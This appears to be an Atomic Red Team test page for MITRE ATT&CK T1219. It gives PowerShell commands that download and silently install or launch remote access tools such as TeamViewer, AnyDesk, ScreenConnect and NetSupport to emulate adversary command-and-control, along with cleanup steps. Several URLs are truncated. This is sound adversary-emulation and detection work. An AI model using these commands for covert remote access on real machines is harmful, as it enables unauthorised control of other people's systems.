T1219 - Remote Access Software

Description from ATT&CK

> An adversary may use legitimate desktop support and remote access software, such as Team Viewer, AnyDesk, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.(Citation: Symantec Living off the Land)
> Remote access tools may be installed and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. Installation of many remote access tools may also include persistence (ex: the tool's installation routine creates a Windows Service).

> Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns.(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)

Atomic Tests

Atomic Test #1 - TeamViewer Files Detected Test on Windows

An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.

Supported Platforms: Windows

auto_generated_guid: 8ca3b96d-8983-4a7f-b125-fc98cc0a2aa0

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe htt
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Start-Process -Wait $file1 /S;
Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'
```

Cleanup Commands:

```
$file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe'
if(Test-Path $file){ Start-Process $file "/S" -ErrorAction Ignore | Out-Null }
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Remove-Item $file1 -ErrorAction Ignore | Out-Null
```

Atomic Test #2 - AnyDesk Files Detected Test on Windows

An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.

Supported Platforms: Windows

auto_generated_guid: 6b8b7391-5c0a-4f8c-baee-78d8ce0ce330

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://down
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Start-Process $file1 /S;
```

Cleanup Commands:

```
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe.exe"
Remove-Item $file1 -ErrorAction Ignore
```

Atomic Test #3 - LogMeIn Files Detected Test on Windows

An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.

Supported Platforms: Windows

auto_generated_guid: d03683ec-aae0-42f9-9b4c-534780e0f8e1

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Start-Process -Wait $file1 /quiet;
Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"
```

Cleanup Commands:

```
get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
```


Atomic Test #4 - GoToAssist Files Detected Test on Windows

An adversary may attempt to trick the user into downloading GoToAssist and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed.

Supported Platforms: Windows

auto_generated_guid: 1b72b3bd-72f8-4b63-a30b-84e91b9c3578

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Invoke-WebRequest -OutFile C:\Users\$env:username\Downloads\GoToAssist.exe "https:
$file1 = "C:\Users\" + $env:username + "\Downloads\GoToAssist.exe"
Start-Process $file1 /S;
```

Cleanup Commands:

```
try{$PathToAtomicsFolder/T1219/Bin/GoToCleanup.ps1} catch{}
```

Atomic Test #5 - ScreenConnect Application Download and Install on Windows

An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory. Msiexec will be used to quietly insall ScreenConnect.

Supported Platforms: Windows

auto_generated_guid: 4a18cc4e-416f-4966-9a9d-75731c4684c0

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/Screel
msiexec /i $installer /qn
```

Cleanup Commands:

```
$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
msiexec /x $installer /qn
```

Atomic Test #6 - Ammyy Admin Software Execution

An adversary may attempt to trick the user into downloading Ammyy Admin Remote Desktop Software for use as a C2 channel. Upon successful execution, Ammyy Admin will be executed.

Supported Platforms: Windows

auto_generated_guid: 0ae9e327-3251-465a-a53b-485d4e3f58fa

Inputs:

Name	Description	Type	Default Value
Ammyy_Admin_Path	Path of Ammyy Admin executable	Path	$env:temp\ammyy.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Start-Process #{Ammyy_Admin_Path}
```

Cleanup Commands:

```
Stop-Process -Name "Ammyy" -force -erroraction silentlycontinue
```

Dependencies: Run with `powershell`!

Description: Ammyy Admin must exist on disk at the specified location (#{Ammyy_Admin_Path})

Check Prereq Commands:

```
if (Test-Path #{Ammyy_Admin_Path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Start-BitsTransfer -Source "https://web.archive.org/web/20140625232737/http://www.
```

Atomic Test #7 - RemotePC Software Execution

An adversary may attempt to trick the user into downloading RemotePC Software for use as a C2 channel. Upon successful execution, RemotePC will be executed.

Supported Platforms: Windows

auto_generated_guid: fbff3f1f-b0bf-448e-840f-7e1687affdce

Inputs:

Name	Description	Type	Default Value
RemotePC_Path	Path of RemotePC executable	Path	$env:temp\RemotePC.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Start-Process #{RemotePC_Path}
```

Cleanup Commands:

```
Unregister-ScheduledTask -TaskName "RemotePC" -Confirm:$False -ErrorAction Silentl
Unregister-ScheduledTask -TaskName "RPCServiceHealthCheck" -Confirm:$False -ErrorA
Unregister-ScheduledTask -TaskName "ServiceMonitor" -Confirm:$False -ErrorAction S
Unregister-ScheduledTask -TaskName "StartRPCService" -Confirm:$False -ErrorAction
Stop-Process -Name "RemotePCPerformance" -force -erroraction silentlycontinue
Stop-Process -Name "RPCPerformanceService" -force -erroraction silentlycontinue
Stop-Process -Name "RemotePCUIU" -force -erroraction silentlycontinue
Stop-Process -Name "RPCDownloader" -force -erroraction silentlycontinue
Stop-Process -Name "RemotePCService" -force -erroraction silentlycontinue
Stop-Process -Name "RPCService" -force -erroraction silentlycontinue
```

Dependencies: Run with `powershell`!

Description: RemotePC must exist on disk at the specified location (#{RemotePC_Path})

Check Prereq Commands:

```
if (Test-Path #{RemotePC_Path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Start-BitsTransfer -Source "https://static.remotepc.com/downloads/rpc/140422/Remot
```

Atomic Test #8 - NetSupport - RAT Execution

A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services.

Supported Platforms: Windows

auto_generated_guid: ecca999b-e0c8-40e8-8416-ad320b146a75

Inputs:

Name	Description	Type	Default Value
NetSupport_Path	Path to the NetSupport executable.	Path	$env:temp\T1219Setup.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Start-Process #{NetSupport_Path} -ArgumentList "/S /v/qn"
```

Cleanup Commands:

```
Stop-Process -Name "client32" -force -erroraction silentlycontinue
```

Dependencies: Run with `powershell`!

Description: NetSupport must be downloaded and exist on the disk at the specified location. (#{NetSupport_Path})

Check Prereq Commands:

```
if (Test-Path #{NetSupport_Path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Start-BitsTransfer -Source "https://nsproducts.azureedge.net/nsm-1270/en/Setup.exe
```